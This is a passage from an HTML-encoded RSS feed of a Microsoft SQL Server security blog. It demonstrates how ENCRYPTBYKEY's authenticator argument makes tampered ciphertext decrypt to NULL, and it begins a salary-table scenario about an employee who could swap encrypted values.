&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;&lt;span style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;ENCRYPTBYKEY(key_guid&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;&lt;span style="COLOR: red"&gt;'key1'&lt;/span&gt;&lt;span style="COLOR: gray"&gt;),&lt;/span&gt; &lt;span style="COLOR: red"&gt;N'Testingtesting1234'&lt;/span&gt;&lt;span style="BACKGROUND: lime; COLOR: gray; mso-highlight: lime"&gt;,&lt;/span&gt;&lt;span style="BACKGROUND: lime; mso-highlight: lime"&gt; 1&lt;span style="COLOR: gray"&gt;,&lt;/span&gt; &lt;span style="COLOR: red"&gt;'abc'&lt;/span&gt;&lt;/span&gt;&lt;span style="COLOR: gray"&gt;));&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;SELECT * FROM t;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- 0x008CB602DBC9D145B899AC05FC14E2A3010000009925C3FB4D21B13D92869A53BB959303483575F&lt;b&gt;&lt;span style="BACKGROUND: yellow; mso-highlight: yellow"&gt;E&lt;/span&gt;&lt;/b&gt;0D&amp;hellip;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;-- Testingtesting1234&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;SELECT CONVERT( nvarchar(100), DECRYPTBYKEY&lt;span style="COLOR: gray"&gt;(&lt;/span&gt;data&lt;span style="BACKGROUND: lime; COLOR: gray; mso-highlight: lime"&gt;,&lt;/span&gt;&lt;span style="BACKGROUND: lime; mso-highlight: lime"&gt; 1&lt;span style="COLOR: gray"&gt;,&lt;/span&gt; &lt;span style="COLOR: red"&gt;'abc'&lt;/span&gt;&lt;/span&gt;&lt;span style="COLOR: gray"&gt;))&lt;/span&gt; FROM t&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="COLOR: #1f497d"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="COLOR: #1f497d"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;Attacker:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;INSERT INTO t VALUES &lt;span style="COLOR: gray"&gt;(&lt;/span&gt;0x008CB602DBC9D145B899AC05FC14E2A3010000009925C3FB4D21B13D92869A53BB959303483575F&lt;b&gt;&lt;span style="BACKGROUND: yellow; mso-highlight: yellow"&gt;F&lt;/span&gt;&lt;/b&gt;0D &amp;hellip;&lt;span style="COLOR: gray"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&lt;span style="color: #000000;"&gt;&lt;span style="font-family: 'Courier New'; font-size: 10pt;"&gt;SELECT CONVERT( nvarchar(100), DECRYPTBYKEY(data&lt;span style="background: lime; mso-highlight: lime;"&gt;,&lt;/span&gt;&lt;span style="background: lime; mso-highlight: lime;"&gt; 1, 'abc'&lt;/span&gt;)) FROM t&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;Results:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;Testingtesting1234&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; BACKGROUND: yellow; COLOR: gray; FONT-SIZE: 10pt; mso-highlight: yellow"&gt;NULL&lt;/span&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&amp;nbsp;&amp;nbsp; As the final NULL result shows, the integrity check failed, and instead of returning a corrupted plaintext, the result of the decrypt call is discarded and the DECRYPTBYKEY function returns null.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/span&gt;-Raul Garcia&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;P.S. Thanks a lot to Jack Richins &amp;amp; Rick Byham for their feedback.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 0pt"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10150258" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/sqlsecurity/archive/tags/Cryptography/">Cryptography</category></item><item><title>Prevent Tampering of Encrypting Data Using add_authenticator Argument of EncryptByKey</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2011/02/21/prevent-tampering-of-encrypting-data-using-add-authenticator-argument-of-encryptbykey.aspx</link><pubDate>Tue, 22 Feb 2011 04:53:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10132488</guid><dc:creator>Raul Garcia - MS</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10132488</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2011/02/21/prevent-tampering-of-encrypting-data-using-add-authenticator-argument-of-encryptbykey.aspx#comments</comments><description>&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;This article is one of several articles discussing some of the best practices for encrypting data. This article demonstrates how the @&lt;b&gt;add_authenticator&lt;/b&gt; argument of the &lt;b&gt;ENCRYPTBYKEY&lt;/b&gt; function can help prevent tampering with encrypted data.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Imagine the following scenario: The DBA is encrypting the salary column for all employees in such a way that people with authorization to access the table, but no access to the encryption key can see and manipulate the table, but cannot access the salary in plaintext. Mallory is one such employee, who has SELECT, INSERT &amp;amp; UPDATE on the table as required for her daily job, but no access to the encryption keys protecting the salary column.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;CREATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; employees&lt;span style="color: gray;"&gt;(&lt;/span&gt; employee_id &lt;span style="color: blue;"&gt;int&lt;/span&gt; &lt;span style="color: blue;"&gt;identity&lt;/span&gt; &lt;span style="color: blue;"&gt;primary&lt;/span&gt; &lt;span style="color: blue;"&gt;key&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; name &lt;span style="color: blue;"&gt;nvarchar&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;256&lt;span style="color: gray;"&gt;),&lt;/span&gt; salary_crypt &lt;span style="color: blue;"&gt;varbinary&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;8000&lt;span style="color: gray;"&gt;))&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;CREATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;CERTIFICATE&lt;/span&gt; cert_demo &lt;span style="color: blue;"&gt;WITH&lt;/span&gt; &lt;span style="color: blue;"&gt;SUBJECT&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: red;"&gt;'Encryption demo'&lt;/span&gt;;&lt;span style="color: red;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;CREATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; key_employee &lt;span style="color: blue;"&gt;WITH&lt;/span&gt; &lt;span style="color: blue;"&gt;ALGORITHM&lt;/span&gt; &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: blue;"&gt;AES_256&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;ENCRYPTION&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; &lt;span style="color: blue;"&gt;CERTIFICATE&lt;/span&gt; cert_demo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;OPEN&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; key_employee &lt;span style="color: blue;"&gt;DECRYPTION&lt;/span&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; &lt;span style="color: blue;"&gt;CERTIFICATE&lt;/span&gt; cert_demo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;INSERT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; employees &lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt; &lt;span style="color: red;"&gt;N'Alice'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;ENCRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'key_employee'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;CONVERT(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;varbinary&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;100&lt;span style="color: gray;"&gt;),&lt;/span&gt; 50000.00&lt;span style="color: gray;"&gt;)))&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;INSERT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; employees &lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt; &lt;span style="color: red;"&gt;N'Bob'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;ENCRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'key_employee'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;CONVERT(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;varbinary&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;100&lt;span style="color: gray;"&gt;),&lt;/span&gt; 1000.00&lt;span style="color: gray;"&gt;)))&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;INSERT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; employees &lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt; &lt;span style="color: red;"&gt;N'Mallory'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;ENCRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'key_employee'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;CONVERT(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;varbinary&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;100&lt;span style="color: gray;"&gt;),&lt;/span&gt; 1000.00&lt;span style="color: gray;"&gt;)))&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;o:p&gt;&lt;span style="font-family: Times New Roman; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--1&amp;nbsp;&amp;nbsp; Alice &lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;5000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--2&amp;nbsp;&amp;nbsp; Bob &lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;1000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--3&amp;nbsp;&amp;nbsp; Mallory &lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;1000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employee_id&lt;span style="color: gray;"&gt;,&lt;/span&gt; name&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;decimal&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;DECRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;salary_crypt&lt;span style="color: gray;"&gt;))&lt;/span&gt; &lt;span style="color: blue;"&gt;AS&lt;/span&gt; salary &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; employees;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;CLOSE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; key_employee;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;Go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;CLOSE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; key_employee;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;CREATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: fuchsia;"&gt;USER&lt;/span&gt; [mallory] WITHOUT &lt;span style="color: blue;"&gt;LOGIN&lt;/span&gt;;&lt;span style="color: blue;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;GRANT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;UPDATE&lt;/span&gt; &lt;span style="color: blue;"&gt;ON&lt;/span&gt; employees &lt;span style="color: blue;"&gt;TO&lt;/span&gt; [mallory];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
